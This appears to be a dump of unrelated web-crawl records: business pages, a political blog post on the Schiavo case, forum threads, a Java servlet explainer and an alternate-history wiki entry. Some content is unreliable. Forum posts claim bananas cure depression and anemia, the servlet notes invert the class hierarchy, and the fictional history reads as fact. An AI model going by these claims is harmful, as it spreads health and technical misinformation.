text:
Chuck Striler, CMI MA License 726-1 HI is a Raynham, MA Certified Professional Inspector® and certified by the International Association of Certified Home Inspectors® (InterNACHI®)
$25,000 Honor Guarantee, backed by InterNACHI: Covered.
Contact Chuck today at (508) 813-4636 .
Visit Striler Home Inspections, Inc. on the web at http://www.strilerhi.com
This ID can be used to verify Chuck Striler, CMI MA License 726-1 HI's membership at any time.
Chuck provides the following additional inspection services:


text:
Sean Hannity shamelessly camped out at Terri's hospice for almost two weeks and allowed his guests to mercilessly attack her husband Michael endlessly. When all the evidence came back that supported Terri's diagnosis, Hannity never offered up an apology for his behavior. In this segment he tries once again to smear Michael by asking Carla if he was the one that started this investigation. Her own actions speak to the issue. As far as I'm concerned she couldn't be booted out of the medical field fast enough.
Last year Hannity was busted by Harry Shearer coaching the nurses before they went on camera. (see video ) Here's a video segment on H&C (with Malkin) when all 89 complaints against Michael were found to be false. They also tried to blame Terri's condition on Michael which also was proven to be false.
On June 15, 2005-I posted this:
Terri Schiavo did not suffer any trauma prior to her 1990 collapse and her brain was about half of normal size when she died, according to results released Wednesday of an autopsy conducted on the severely brain-damaged woman. Pinellas-Pasco Medical Examiner Jon Thogmartin concluded that there was no evidence of strangulation or other trauma leading to her collapse. "The brain weighed 615 grams, roughly half of the expected weight of a human brain. … This damage was irreversible, and no amount of therapy or treatment would have regenerated the massive loss of neurons."
Well the evidence is in. Poor Terri was in PVS and had no hope of recovery. Violence by her husband Michael Schiavo was also ruled out as the cause for her injury. I hope this closes the book on this case, except of course for Mark Furman's, but how will all those who called Michael a murderer feel? Will Sean Hannity and Joe Scarborough go on the air today and concede they were wrong while embarrassing themselves in the process? Of course not because they have no shame.
Bill Frist's ability to diagnose patients by video now has got to be called into question.<snark> Tom Delay's actions to have a bill passed for political gain becomes an even greater humiliation for him and all that took part including George Bush.
Will the extreme religious right come out in full force and admit Terri's fate should have been left up to the courts and her husband? Will the Church that excommunicated Judge Greer allow him to return? (I wouldn't go back there.) Will the sycophants return all the money they made off of Terri, including the infamous donation list? And remember all those balloon video tapes? That wasn't happening either. This also proves how screwed our media is. (Like we didn't already know.) How the Villagers allowed all these insane people to parade across our TV screens for thirteen straight days; proclaiming their version of "truth" and never having their credentials questioned. This includes Randle Terry and others like him who were presented as normal, rational people. What a truly disgusting display of out-right lunacy in American politics.
Americablog says: Gee What a surprise.. Remember, her father actually said that if she only had the right therapy she'd be a productive member of society. Then there was Dr. Frist and Dr. DeLay's diagnoses. Oops.
Atrios says: Fristed Again: "I question it based on a review of the video footage which I spent an hour or so looking at last night in my office," he said in a lengthy speech in which he quoted medical texts and standards. "She certainly seems to respond to visual stimuli." Schiavo, it turns out, was completely blind.'
John Cole says: The usual supects will try to spin this that the results are inconclusive, but they should be ignored. And keep in mind, when they try to spin their nonsense- these are the same folks that want to take over the science curriculum and infuse it with 'divine design' and other ascientific garbge. But hey- Tony Perkins and Randall Terry got some camera time and jammed a lot of money in their pockets, didn't they? So it wasn't a total loss.
Daily Kos says: Frist is a terrible doctor: Not that wingers have any respect to "science" and "reality", but Michael Schiavo has more ammunition to use against the hordes of idiots who viciously slandered him during the emotional battle. I still hope he sues all their asses.
Kevin Drum says: I JUST PLAY ONE IN THE SENATE….Yes, Terri Schiavo really was in a persistent vegetative state. No, she never would have recovered. Just like the doctors who actually examined her said.
Think Progress says:Frist's Fraudulent Diagnosis: Which makes Dr. Frist's expert "diagnosis" all the more outrageous.
All Spin Zone: No word yet on whether James Dobson is pressuring Frist to introduce the Corpse Reanimation Act of 2005
BlondeSense says: Vultures Do It Too: I couldn't help but think of the vultures as the press moved in. Once the press had spotted the report and the facts, and the physicians had left, they felt safe to drag the report away.
Fablog says: An Even MORE Persistent Vegetative State: But as we now learn, Frist, Didion, the Schindlers (Terri's parents and brother), Randall Terry, Jesse Jackson the Bush Administration, both houses of Congress and the Catholic Church were, uh. . . mistaken Not that mere truth has ever stood in the way of anyone who refused to dealwith it:
Talk Left says: Schiavo Autopsy: The autopsy results on Terri Schiavo are in: No abuse was shown. She was blind. No evidence of an eating disorder was shown.
The un-equivocal Notion says: I Bet You All Feel Stupid Now…
Majikthise says: Schiavo autopsy vindicates husband, impugns Frist: No surprises here. Terri Schiavo was in a persistent vegetative state, Michael Schiavo didn't beat her, Nat Hentoff is a crackpot, and Bill Frist is a demagogic quack.
Republic of T.: Called it: In a post at LeanLeft, on the Schiavo autopsy, I gave the following comment in response to the question of how the Schindlers would "spin" the autopsy finding. Spin? It's science. And we already know that ideology trumps science. They'll wave it aside with "God can still work miracles," and not miss a step. I'm saying here and now that I basically called it, upon reading reports on the Schindlers' reaction.
Blogs for Terr says:Will Autopsy Report Make 'Outlandish' Claims? What I am most interested to see is whether or not, as Michael Schiavo and his attorney George Felos hope, the M.E. purports to draw any conclusions regarding whether Terri was in a PVS (Persistent Vegetative State)
Then there was :
"He said, if they put her—allow her to die because of natural causes, not getting food and drink, whatever, that's disobeying the Vatican. And that could create additional damnation of her soul or add to the time of her suffering in purgatory."
Gibbs told the AP that he believes
"McCabe rushed the report, noting that he never interviewed the Schindlers about what happened the day before or the day of the collapse."We had thought they would meet with the family," he said"
How is interviewing the family relevant to anything that happened to Terri if they weren't there? As my WV friend always says: Serentity Now
(Update)- reg/req-Ave Maria creates Terri Schiavo scholarship: Likening Terri Schiavo to St. Therese, the Little Flower, the Rev. Michael Beers hinted Schiavo, too, could be canonized. Friday, the Rev. Joseph Fessio, AMU provost, "When people say 'persistent, vegetative state' and you see this smiling young woman, is that what it is?" Fessio asked, rhetorically.

subset: commoncrawl


text:
Applied Data Analysis for Metabolomics (Agilent MassHunter with GeneSpring Mass Profiler Professional)
Course summary
- Number of days: 4
- Experience level: Intermediate
- Type: Manufacturer-specific; analysts using Agilent MassHunter with GeneSpring Mass Profiler Professional software
- Teaching method: Face-to-face classroom with practicals in the laboratory
- Course venue: This course is run on demand - please contact us to book
- Onsite/offsite availability: Arrange this course just for you
- Scheduled course price: £1640 + VAT per delegate
What will you learn on this course?
This 4-day course introduces the integrated set of software packages available to analysts performing Metabolomic studies using Agilent based mass spectrometry platforms.
Through a combination of classroom-based presentations and practical hands-on data analysis exercises, the course will provide a working knowledge of the principles and practice of Metabolomics for Agilent instrument users for either Discovery or Targeted analysis.
The course will cover how to use the available tools to process raw data; identify compounds; undertake statistical analysis and map Metabolomic data to biological pathways.
Learning outcomes
- You will gain an introduction to data preparation and feature finding in MassHunter and Profinder
- You will learn how to apply raw data file batch processing workflows for (LC- & GC-MS) using MassHunter and Profinder
- You will learn how to apply data pre-treatment – Alignment, Normalisation and Filtering using Profinder and Mass Profiler Professional (MPP)
- You will gain an introduction to the principles and use of Multivariate Analysis (Chemometrics) workflows using MPP for biomarkers discovery
- You will learn about the integrated use of spectral libraries for compound ID and the generation of compound data bases using PCDL Manager and Pathways to PCDL
- You will gain an introduction to working with pathways and the use of Pathway Architect to map Metabolomic data
Parts of the course will provide delegates with the opportunity to analyse some of their own data.
Course presenter: this course will be taught by Metabolic specialist Dr Simon Thain, TL Science.
Who is this course for?
This course is primarily for analysts performing Metabolomic studies using Agilent mass spectrometry instrumentation and requires familiarity with MassHunter for simple off-line data working. The course also requires an understanding of basic statistical principles for significance testing or analysis of variance (i.e. t-test, ANOVA etc.).
For an introduction to Metabolomics, you can choose to attend the 1-day Absolute Basics of Metabolomics before attending this 4-day course.
Further training
- For further training and knowledge on Agilent MassHunter software, please see our other specific courses:
This course is run on demand - please contact us to book this course.


text:
Safety Harness Tower Work 44''- 52'' XL
This product is no longer in production.
- Heavy-duty harness design is suited for workers on transmission towers and other elevated sites.
- Ultra-Hyde lined waist and leg straps. Ultra-Hyde is a material that looks and feels like leather, yet requires little maintenance.
- Durable 1-3/4'' (44 mm) Type 19, or equivalent, nylon webbing harness construction.
- Chest and shoulder straps have friction-style buckles for adjustments over a continuous range of sizes.
- Waist and leg straps have tongue buckles and grommets for a comfortable fit and positive buckle connection.
- Color contrasting shoulder and leg straps simplify putting harness on.
- Color contrasting shoulder and leg straps simplify putting harness on.
- Fall-arrest D-ring with roller. Drop-forged circle D-ring has corrosion-resistant finish, wear-minimizing roller, and is proof-loaded to meet OSHA regulations. Easily adjusts for proper fit and function.
- Seat strap adds extra comfort and support.
- Two positioning D-rings. Drop-forged circle D-rings have corrosion-resistant finish, wear-minimizing rollers, and are proof-loaded to meet OSHA regulations.
- Fall-arrest/positioning harnesses are designed to arrest free falls and distribute impact forces over thighs, pelvis, chest and shoulders as required by OSHA.
- Identity and warning tags and/or labels are reminders of proper application and inspection procedures. The Klein name, model, date of manufacture and OPE-system application symbol(s) are permanently and clearly inscribed on these tags and labels.
- Harnesses are certified and compliant with ANSI and CSA requirements.


text:
Sign Up Here!
Already a member? Please login below.
Treatments For Menopause
Menopause Symptoms
Women After Menopause
Is it true that menopausal woman are moody? Does it make you forgetful?
Mood swings and depressions are symptoms of menopause. This needs to be taken seriously. Approach a doctor for psychological treatments.Forgetful in the other hand, is just a common belief. There is no specific evidence for this.
A lot of woman are afraid of losing their minds. They complain that their memory isn't what it used to be. Truth is, forgetfulness is due to stress. It feels like a memory problem but the cause is different.
No one is entirely sure what the exact cause of mood swings. This is one of the most misunderstood menopause symptoms. The best thing that you can probably do when you feel intense emotion is to recognize that you may be having a mood swing.
Forgetfulness can be a normal part of aging, while some are related to health issues. Short term memory loss is very common or probably has very little to do with menopause itself.
Menopause affects each woman in a different way. Stress is another trigger that will make you moody during menopause. Anger and irritability are often associated with menopause and mood swings.
During female menopause, your estrogen levels decreases. Estrogen does play an active role in memory. This is when menopause memory loss called for estrogen replacement therapy.
thanks for your replies---- so generally speaking, mood swings are part of menopause. am i right? now, how can we deal with this "mood swing" thingy? any ideas?
practice stress-relieving therapies such as massage, or deep breathing exercises. this can help you keep calm. Some women may also choose to take Hormone Replacement Therapy (HRT). this can also relieve mood swings.
actually, mood swing are one of the most misunderstood menopause symptoms and this could be very stressful. try alternative therapies. this can help you fight off mood swing. speak with others, this could help too.
take alternative medicine like phytoestrogenic herbs, and those containing non-estrogenic herbs. using non-estrogenic herbs is one of the safest and best ways to treat mood swings naturally. give it a try!
forget the pills, herbs or HRT - eat a banana. the vitamin B6 it contains regulates blood glucose levels, which can affect your mood.
i have read about this one from another forum. amazingly, this banana have many benefits. this can cure variety of illness. and yes! it claims that this banana can effectively relieve mood swings.
true wea, i agree! other than that, it can also treat dry skin and has an anti aging effect. i am actually using it as a face mask. i think you should try it too.
wow, this banana is truly amazing huh? no wonder monkeys have smooth face. hahaha!
what other menopause symptoms does this bananas treat? any other previews?
bananas can cure moods swings, stress, depression, anemia, and many more to mention. compared to any other fruits, this has proven to have many benefits in our body.
You must log in to reply.
Are you New to the forum? Sign Up Here! Already a member? Please login below.
Need Some Help
Eye Problem


text:
Showcase® Custom Vinyl Windows and Doors was founded in 1994 in Houston, Texas and continues to service the local community. Showcase has been at the forefront of the quality vinyl window business since its inception. The company was one of the first manufacturers to offer vinyl windows and doors, as well as Low-E glass, in the state of Texas. They take great pride in their flexibility in serving customers with any shape and size needed. All of the vinyl windows manufactured by Showcase are made in America. All of the Showcase products are custom-manufactured to each customer's specifications and satisfaction. Learn more at www.showcasewindows.com.
Whether you're an architect, builder, remodeler, commercial building contractor or homeowner, RAM is ready to go to work for you. Contact us today.


text:
Standard insurance brokers
From car, home and life insurance to bespoke advice on fiduciary planning, trusts and wills, our Insurance and Wealth Advisory specialists will ensure that you and your assets are taken care of – expertly and professionally
What does it offer me?
- Funeral plan
- Personal accident
- Home loan protection plan
- Loan protection plan
- Motor insurance
- Automatic settlement benefit
- Car and household insurance
- Business insurance
Funeral plan
What is Funeral Plan?
- It is a complete funeral cover for you, your family and extended family. Funeral Plan will help you to lay your loved ones to rest with dignity and respect
Who can have it?
- Anyone under the age of 65 with any SBN transaction or savings account. The spouse must also be under the age of 65. No medical examination needed to join
How much am I covered for?
- The table below shows how much you need to pay each month and how much will be paid out in the event of death
How do I make my monthly payments and when is my cover effective?
- Payments are made directly from your bank account by debit order
- There is a six months waiting period before cover is effective
- Once you have made your first payment, you and your family are covered for accidental death
How do I claim?
- Claims can be made at any SBN branch or the Funeral Plan Help Line on 061-294 2343
- Within 48 hours of receiving all your documents, benefits will be paid
Travel Insurance
Personal accident
- Select cover starting from N$25 000 at a mere N$11.50 to N$ 500 000 for N$ 230 p/m
- Pays out upon death or permanent disability following an accident e.g. Road accident, falling off a roof, being insured while at work
- No upfront medical report
Loan protection plan
What is a loan protection plan?
This covers your personal loans with us should you become disabled, contract a dread disease or die
Who can have it?
Anyone who is under 65 years of age at the next birthday, in good health and has not undergone treatment for any condition other than minor ailments. If you have personal loans with us, you should have it
How does it work?
- If you become disabled, are diagnosed with a dread disease or die, this policy will immediately pay off your SBN overdraft, revolving credit plan We'll calculate your premiums according to your outstanding balance, age and the type of cover you want
- No medical examination is required
- The policy gives you flexibility as you can choose the cover that best suits your needs
You can choose from:
- Plan A – death, disability and retrenchment
- Plan B – death, disability, retrenchment and dread disease
- Plan C – death, temporary disability and retrenchment
- You can take our cover for up to N$500 000. This is the maximum amount that will be paid out to you
What are the main exclusions?
- Any pre-existing conditions for the last two years will be excluded from the first two years
- Suicide within the first two years of the policy
Short term insurance
Personal car and household
We give you access to car, household, liability and accident cover from a range of leading insurance providers to protect what is important to you against the risk of everyday life. SIB sources the market in order to offer the best product and price guaranteed
Business insurance
Insurance that protects businesses from losses due to events that may occur during the normal course of business. There are many types of covers for businesses including cover for property damage, legal liability and employee-related risks
Home loan protection plan
What is a home loan protection plan?
An insurance policy you can take out that will cover the outstanding bond amount owing to SBN to a maximum amount of N$1 300 000 in the event of death and/disability, dread disease and retrenchment
Who can have it?
All SBN Home Loan customers with an outstanding balance of N$1 300 000 or less
How does it work?
- Choose from the following plans. You can also combine plans for better cover
- Death cover: if you die, we'll settle the outstanding balance of your home loan
- Disability cover; if you're temporarily disabled, such as in a major accident, your temporary disability cover will help you pay your bond for up to 12 months
- Joint life covers: you can insure a second person with insurable interest. This means that you can add a joint bondholder or someone who has signed surety
- Discount: if you insure two lives, you'll get a 40% discount on the amount you pay for the younger life
- Both lives must be covered for the same events and amounts
- Retrenchment cover: this will pay your home loan instalment for up to six months if you are retrenched
- No matter what cover you choose, you do not need a medical examination: you can get immediate cover
What are the main exclusions?
- Any pre-existing conditions for the last two years will be excluded for the first two years
- Suicide within the first two years of the policy
Automatic settlement benefit
What is an automatic settlement benefit?
This policy is designed to pay towards your deal if you become permanently or temporary disabled, contract a dread disease, of if you die, up to a maximum of N$1 000 000
Who can have it?
- Do you have a vehicle or asset finance deal?
- Are you over 18 and under 65? Are you in good health? Haven't undergone treatment for any condition apart from minor ailments?
- Then an automatic settlement benefit is for you
How does it work?
- If you become disabled, contract a dread disease, or die, your automatic settlement benefit will immediately pay off all or part of your vehicle or asset finance
- A once-off upfront premium ensures a low rate and no premium increases
- The Plan gives you flexibility as you can choose which cover you prefer
- Plan A – death, disability and retrenchment
- Plan B – death, disability, retrenchment and dread disease
- Plan C – Death only
- Up to two people can be covered under one plan
Motor insurance and top-up insurance
What is motor insurance and top-up insurance?
Comprehensive motor insurance provides you with insurance cover on your motor vehicle. Top-up insurance supplement your comprehensive motor insurance and removes the risk of shortfall and/violation of your comprehensive policy as well as deposit or excess protector
Who can have it?
- If you qualify for vehicle or asset finance, you qualify for insurance
How do they work for you?
- We will obtain a number of quotes from various insurance companies and offer you the best one.
- You pay your reasonable monthly premiums by debit order, or as part of your vehicle and asset finance instalment
Comprehensive motor insurance
- This policy covers you against theft, loss, damage, malicious damage, liability to third parties and riot
- If your vehicle is financed, you are obliged to have this cover
Top-up insurance
- This removes the risk of shortfall and/violation of your comprehensive policy
- It is an excess protector that pays your underlying excess of 15% of the market value of the vehicle or a maximum of N$50 000, whichever is less
- It supplements your comprehensive motor insurance and covers you for unintentional non-compliance with conditions of that policy
- A credit shortfall after a total loss, excluding any vehicle or asset finance arrears
- Reasonable premiums are paid monthly or annually and are included in your finance agreement
- Policy renewable annually
How do I apply?
Visit your nearest Standard Bank Branch or contact our Standard Insurance Brokers on +264 (0) 61 294 2306 or on Email: [email protected]


text:
There is no fandom quite like that which surrounds the Star Wars franchise. Most people don't truly get excited for a movie until a trailer, or at least a few set photos arrive, but not Star Wars fans. When Disney and Lucasfilm finally announced that Star Wars 8 is officially titled Star Wars: The Last Jedi last week, the internet went crazy and speculation about what that title could mean has been a big topic of discussion. A new theory poses that the identity of "the last Jedi" may not be so obvious. It may actually be Supreme Leader Snoke.
The theory showed up recently on the fan theories Reddit page and was put forward by a user who goes by the name of AnakinKardashian. Given that Luke Skywalker was referred to in the opening crawl of Star Wars: The Force Awakens as "the last Jedi" and Snoke called him that during a conversation he had with Kylo Ren, it seems all but certain that Luke is who the title The Last Jedi relates to. Assuming there is any validity to this new theory, things may not be that simple. Here is AnakinKardashian's theory.
"It was pretty cool how we saw Jedha in Rogue One. But was there also a strategic reason? What if we are supposed to get in the mindset that the jedi order is very, very ancient? In one of the most recent star wars novels, Palpatine sends someone to Jakku to uncover an ancient secret. In The Force Awakens, we see that luke is looking for the original jedi temple. What's with this sudden obsession with jedi history? In the force Awakens novel, snoke reveals that he is very old. But we don't know how ancient he is. Kylo Rens lightsaber is confirmed to be an ancient version of the lightsaber. Where did he get it? Snoke. Now keep in mind the title of episode 8, the last jedi. What if we are learning about early jedi because we are going to find out how different the ancient jedi order is? What if what we know as jedi are not really jedi after all? What if snoke is the last jedi, in its original form? It makes sense that we are learning about early jedi. It makes sense that kylo Ren has this ancient version of the weapon. It makes sense that luke went to look for the original jedi temple in order to learn about snoke."
Even before this latest, probably not true but definitely interesting theory surfaced, the true identity of Supreme Leader Snoke has been a big, lingering question fans have had since seeing Star Wars: The Force Awakens. This would be a pretty unique, if perhaps a bit convoluted, way of tying Snoke into old Star Wars lore and it would offer a chance for the Jedi's history to be explored in the new canon on screen. As the theory points out, we have seen touches and glimpses of this in both The Force Awakens and Rogue One: A Star Wars Story, but there is a lot to explore there. In the old canon before Disney reset it a few years back, the Jedi had a very complex history and someone like Snoke could tie back to that and bring something like Knights of the Old Republic into the new canon. But again, it is very likely that "the last Jedi" refers to Luke Skywalker and that this Snoke theory is mostly nonsense. But this theory gets points for creativity, that's for sure.
There are other things to consider. For one, Jedi is both the singular and plural form of the word, so Star Wars: The Last Jedi could mean more than one, but that also isn't overly likely. Were that the case, it seems like they probably would have titled the movie Star Wars: The Last of the Jedi, or something along those lines. The title could also have something to do with Rey, since it is very clear she is one with the Force and is probably going to be training as a Jedi with Luke in Episode VIII. Also, there is the Kylo Ren angle, since he is a Skywalker descendant. But, since he *spoilers* killed Han Solo and is on track to complete his training as a Sith lord, he is pretty much full-blown Dark Side of the Force at this point and probably isn't going to be a Jedi. Ever.
As far as Star Wars theories go, this one is definitely one of the more interesting ones that have been put forth since the new title for Star Wars 8 was announced, but the odds of it being true are slim to none. We'll probably find out more once the first teaser for Star Wars: The Last Jedi surfaces, which is likely to happen at Star Wars Celebration in April. Star Wars: The Last Jedi is written and directed by Rian Johnson and is set for release on December 15.


text:
There is a possibility of developing 'n' types of servlets, like httpservlet, ftpservlet, smtpservlet etc. for all these protocol specific servlet classes GenericServlet is the common super class containing common properties and logics. So, GenericServlet is not a separate type of servlet.
As of now Servlet API is giving only one subclass to GenericServlet i.e HttpServlet class because all web servers are designed based on the protocol http.
Generic servlets extend javax.servlet.GenericServlet - It is protocol independent servlet. Generic Servlet is a base class servlet from which all other Servlets are derived. Generic Servlet supports for HTTP, FTP and SMTP protocols. It implements the Servlet and ServletConfig interface. It has only init() and destroy() method of ServletConfig interface in its life cycle. It also implements the log method of ServletContext interface.
HTTP servlets extend javax.servlet.HttpServlet - HTTPServlet is HTTP dependent servlet. The HTTP protocol is a set of rules that allows Web browsers and servers to communicate. When Web browsers and servers support the HTTP protocol, Java-based web applications are dependent on HTTP Servlets.HttpServlet is Extended by Generic Servlet. It provides an abstract class for the developers for extend to create there own HTTP specific servlets.
Dinesh Thakur holds an B.C.A, MCSE, MCDBA, CCNA, CCNP, A+, SCJP certifications. Dinesh authors the hugely popular Computer Notes blog. Where he writes how-to guides around Computer fundamental , computer software, Computer programming, and web apps. For any type of query or something that you think is missing, please feel free to Contact us.
Related Articles
Basic Courses
Advance Courses


text:
Venetian Cast Stone – Custom Cast Stone Products
Venetian Cast Stone is dedicated to providing all of our clients with only the highest quality cast stone products available. We produce all of our products using the wet cast method and all of our products comply with ASTM C1364 for architectural cast stone. We pride ourselves on exceptional customer service, great communication, fully detailed shop drawings, accurate schedules and timely delivery. Come experience the Venetian Cast Stone difference for yourself!
With strong midwestern roots all of our products are made in the USA.
- 25+ years of experience in our mold fabrication department
- 50+ years of experience in our production facility
- 22,000 sq. ft. production facility in Lincoln, NE
- CNC router capabilities allow us to form even the most complex of shapes
- 2-ton overhead crane system for handling large cast stone units
- Raw materials and finished goods stored indoors for better quality control
- Custom color matching upon request
- Accurate and precise scheduling for every project big or small
- Complete and accurate shop drawings from submittal packages to setting plans
- Exceptional customer service
Rises to the challenge...
"I reached out to Zach with Venetian Cast Stone in the early stages of their new operation. The other guys were telling me it'd be 4-6 months on my project, Zach made it happen in less than a month! Ever since then, Zach and the crew have knocked out any and every request I need in a timely fashion. Their products are great quality and they can color match better than anyone I've worked with before! When I have a challenging project ahead- the crew at Venetian Cast Stone always comes through!"
Matt Phelps, Project Superintendent, Edward's Stone
High quality and on schedule...
"We first worked with Venetian Cast Stone on a project with a difficult schedule. We asked them to produce the stone in less than half of the time of the typical cast stone lead time. Venetian produced high quality cast stone pieces on schedule and accurately, which helped us to complete the project on time. Venetian's staff is great to work with, and we look forward to working with them on many projects throughout the future." Sam Pickerill, Midwest Masonry
Venetian Cast Stone
4720 NW 38th Street
Lincoln, NE 68524


text:
Ways to Save at Salon Nouveau
There are several ways to save on your services at Salon Nouveau! Our Stylists do amazing work and they are worth every penny, BUT we believe in making your trip to the salon affordable so you can keep coming back. In addition to monthly specials and promotions we have:
The Salon Nouveau Referral Program
Launched in 2018, our referral program couldn't be easier to use! We want to reward you for talking about us, so the next time you're in, ask your Stylist for business cards. Put your name on them and start handing them out. Ask the person you refer to bring it to their first visit and each time one gets returned to us, we'll give you $5 off your next visit as a thank you. Coming soon – the option to pass referrals digitally!
The Salon Nouveau Birthday Club
When you join our Birthday Club we'll send you a coupon at the beginning of your birth month. You can use the coupon throughout the month on the services of your choice. Our Birthday Club is the perfect way to treat yourself on your birthday by trying a new service. Here's the best part…being a part of our Birthday Club is totally FREE, you just need to sign up. Click here to sign up now.
Monthly Specials and Promotions
Salon Nouveau offers monthly specials and promotions from time to time. We typically announce them via email and on our social media accounts. The best way to stay in the loop about our promotions is to join our mailing list. We only email once, or twice, per month and we never share your email with any one else. Ready to stay up to date on everything that is happening at Salon Nouveau AND take advantage of our savings offers? Join our mailing list.
Please Note
Salon Nouveau has both renters and employees that work at the salon. Some renters do not participate in our monthly promotions. If you're interested in taking advantage of one our specials or promotions and you see a specific Stylist, please ask them if they participate in our promotions before booking.


text:
Each massage is a journey according to its name and its origin:
Massages are provided on board, in the water or on land, in a natural setting or at home, individually or in groups.
Relaxocean welcomes practioners to share, develop, communicate and transmit their art of massage.
West Indies:
Jean +590(0)690596126
Switzerland & France:
Chloe +33(0)635464120
Avenue de l'Europe, Marina BP 17
97118 Saint François, Guadeloupe


text:
For those of you just tuning in I had experienced the dreaded ignition switch problem a little while ago (stuck microswitch). My "fix" was not entirely elegant and the repair itself resulted in electrical problems that persisted. I finally removed the Steering Lock Unit (SLU) and repaired the microswitch by shaving off some plastic. All is well with the SLU now.The toggle switch that I installed to 'bypass' the faulty SLU microswitch has been removed and the electrical has been restored to original/normal. The toggle switch created a short circuit in the Charging System because it was contacting the left rail for the windscreen. The 30A fuse from the battery was blowing because of the short. I went around and around trying to find/fix this problem that I had actually installed myself. You can search for my other posts about it if you need a good laugh.I have replaced the Voltage Regulator 2 times as a result. There shouldn't be any more problems with the charging circuit because everything is back to stock now. What concerns me is the effect that all of this may have had upon the Stator. The regulator is a load for the stator and I basically destroyed 2 regulators as a result of my prior frankensteinian actions. What did I do to the stator, if anything? Did I weaken it to the point that it will fail next? Should I test it or just replace it?I would like to hear from anyone with experience or knowledge about testing, replacing the stator. If the part can be obtained without buying an entire alternator or is an alternator replacement my only option?Again, the Charging Circuit works fine now. I'm just concerned that I may have stressed the stator to the point that it will fail prematurely.
This is a Triumph 1050 stator. The burnt coil is easily seen - after it's failed. Often, tho, the burnt coil is not so bad. A visual inspection may not reveal anything if it's still charging. My son was just one owner who used to carry a spare when touring.
I think you're barking up the wrong tree.Sorry, I really have know idea but I couldn't resist using that line.
Last line first: the stator IS the alternator on the C-14. The only other part of the alternator are the permanent magnets that the stator turns inside of and they are not really anything that fails under any normal conditions.
No other ex Kawasaki GPZ500 (Ninja 500 that side of the pond) owners here who had the magnets fall out due to the glue failing then
Beats me. But generally permanent magnet alternators just do not suffer from that so I did not consider it. Even if that does happen once in a blue moon, or there were a string of them on a particular model and make of motorcycle, I would consider that an assembly or design failure rather than an actual alternator failure. Hey, permanent magnets can also be demagnetized (kinda' takes the 'permanent' out of permanent magnet, doesn't it?) by heat, mechanical shock and very strong external magnetic fields but again, it is generally not a problem in the real world. So when a P.M. alternator fails, I would always suspect the coil rather than the magnets. And in this thread, the O.P. was concerned about having overloaded the alternator and the only part it is possible to damage in that context is the coil, not the magnets. Brian
Page created in 1.013 seconds with 27 queries.


text:
Easter is just around the corner and if, like me, you've been bombarded by the lavish display of chocolate eggs and bunnies at the supermarket, you probably have one thing on your mind – sweet, creamy chocolate.
In a timely coincidence, a new study sprouting the health benefits of chocolate hit the news last week. According to Aussie researchers, eating chocolate is linked to better brain function. Now this isn't the first time we've seen a study promoting the benefits of chocolate, and it certainly won't be the last, but before we go gung-ho, tucking into Easter eggs left, right and centre, let's take a closer look at the research.
Most of the media headlines reporting this study fail to mention that these results found that people who eat chocolate just once a week performed better in memory and concentration tasks. That's not once a day, or once after every meal. Just once a week. This occasional way of eating chocolate is something we dietitians like to call 'moderation' – after all, no food is off limits, it's just eating it in sensible portions.
So, this Easter, enjoy chocolate but keep in mind that it's an occasional treat. Jumbo bags of eggs and overindulgent Nutella-stuffed hot cross buns jam-packed into the pantry make it all too easy to find yourself grazing on the sweet stuff all day long.
Try these three easy tips to enjoy Easter, without the chocolate coma:
- Buy small, individually wrapped chocolates. It's easier to portion and seeing the empty wrappers is a good way to hold yourself accountable. And keep treats for a single time of day, say after dinner, or at 3pm with a cup of tea rather than grazing all day.
- Treat yourself only when Easter actually arrives. Remember, Easter Sunday is one day, not a month-long festival.
- Go for quality. A few squares of quality dark chocolate may be just as satisfying as a giant bunny made of cheap compound chocolate (which is mostly sugar).
I have read and accept the privacy policy and terms and conditions and by submitting my email address I agree to receive the Healthy Food Guide newsletter and special offers on behalf of Healthy Food Guide, nextmedia and its valued partners. We will not share your details with third parties, and will only share delivery information in the event of you being a prize winner.


text:
Gerhard II of the Schauenburger dynasty, count of Holstein and Holland, Roman king, later also king of Denmark and the Netherlands, count of Flanders and Holy Roman Emperor, was the son of Gerhard I and his wife. In 1406, his father was murdered by a Danish nobleman, who hated the all-powerful Germans. This didn't diminish their dynasty's influence in Denmark, however. Thanks to the fact that he had inherited the rich Holland, he was easily elected new Roman king, and also managed to hold his fief Jutland.
After the death of famous king Harald IV in 1417, his brother governed Denmark until his nephew Erik VIII would come of age. Now however, Gerhard conspired with the regent's younger brother, eventually taking power in Denmark for himself.
In 1418, he was crowned Holy Roman Emperor. One year later, he also managed to make the pope creating the new kingdom of the Netherlands (which included Holland, Zeeland, Hennegau/Hainaut and Utrecht at that time).
He participated on the side of Richard III in the Second Aquitainian War; however, in 1421, France made a separate peace with him, giving him Flanders, which was incorporated into the Netherlands.
He fathered two surviving sons, Gerhard and Heinrich; the former would succeed him after his death in 1430 as Dutch king and Roman king, the latter in Denmark and Holstein. This division would lead to some trouble in Atlantis. The Hanseatic League also saw more internal competition since then: The cities in Holstein competed with the Dutch and Flemish cities, and the cities in the Baltic (and also those in OTL Hanover) stood aside a bit.
|Gerhard II Schauenburg (Chaos)
|Gerhard I
|Gerhard II
Roman king of the HRE
|Gerhard III
|Heinrich III
|Erik VIII
| Gert I
|Henrik III
|(County of Holland elevated to Dutch kingdom)
| Geeraard I
King of the Netherlands
|Geeraard II


text:
The home theater is a place that is designed to be fun and comfortable, and when you think of fun and comfort, invariably what comes us are the more whimsical items that you would have around. These are the finishing touches that make a home theater from a simple room where you watch movies to a place where everyone gathers together and bonds over shared enjoyment. One of the best ways to add comfort to the home theater is with movie pillows and movie blankets.
Comfort is one of the most important parts of a great home theater. In fact, when you set up a home theater that is comfortable, people hang out in there a lot more, even when there isn't an event. For a cinephile, having movie themed pillows adds great character to the room. For your friends and family, nothing is more comfortable than watching a movie curled up with movie blankets. Movie throw pillows come in many different sizes and styles as well, so people will naturally gravitate towards the area where they feel most comfortable. This is a good thing for your home theater. It means you will do a lot of entertaining, but the warmth of your media room is put on display when you have theater pillows scattered throughout the seats.
The great things about these movie pillows is you can get many different sizes and styles. This is the perfect task for when you have finished the design and installation of the big ticket items in your media room. Make sure that you get colors that match the décor along with the right amount of casual whimsy means that your theater pillows will be a star attraction. There are plenty of different styles available as well, in fact you can get different designs on your movie throw pillows so that there is a proper asymmetrical distribution of the movie themed pillows. A great thing to do besides having the movie pillows present is to also incorporate a few different movie blankets. There are many people who love to curl up underneath a blanket while watching a great movie, and these blankets are the perfect feature for those types of movie viewers. Ultimately, your space will be far more inviting with these features and that will lead to more people coming over when you invite them for movies, television, and sporting events.
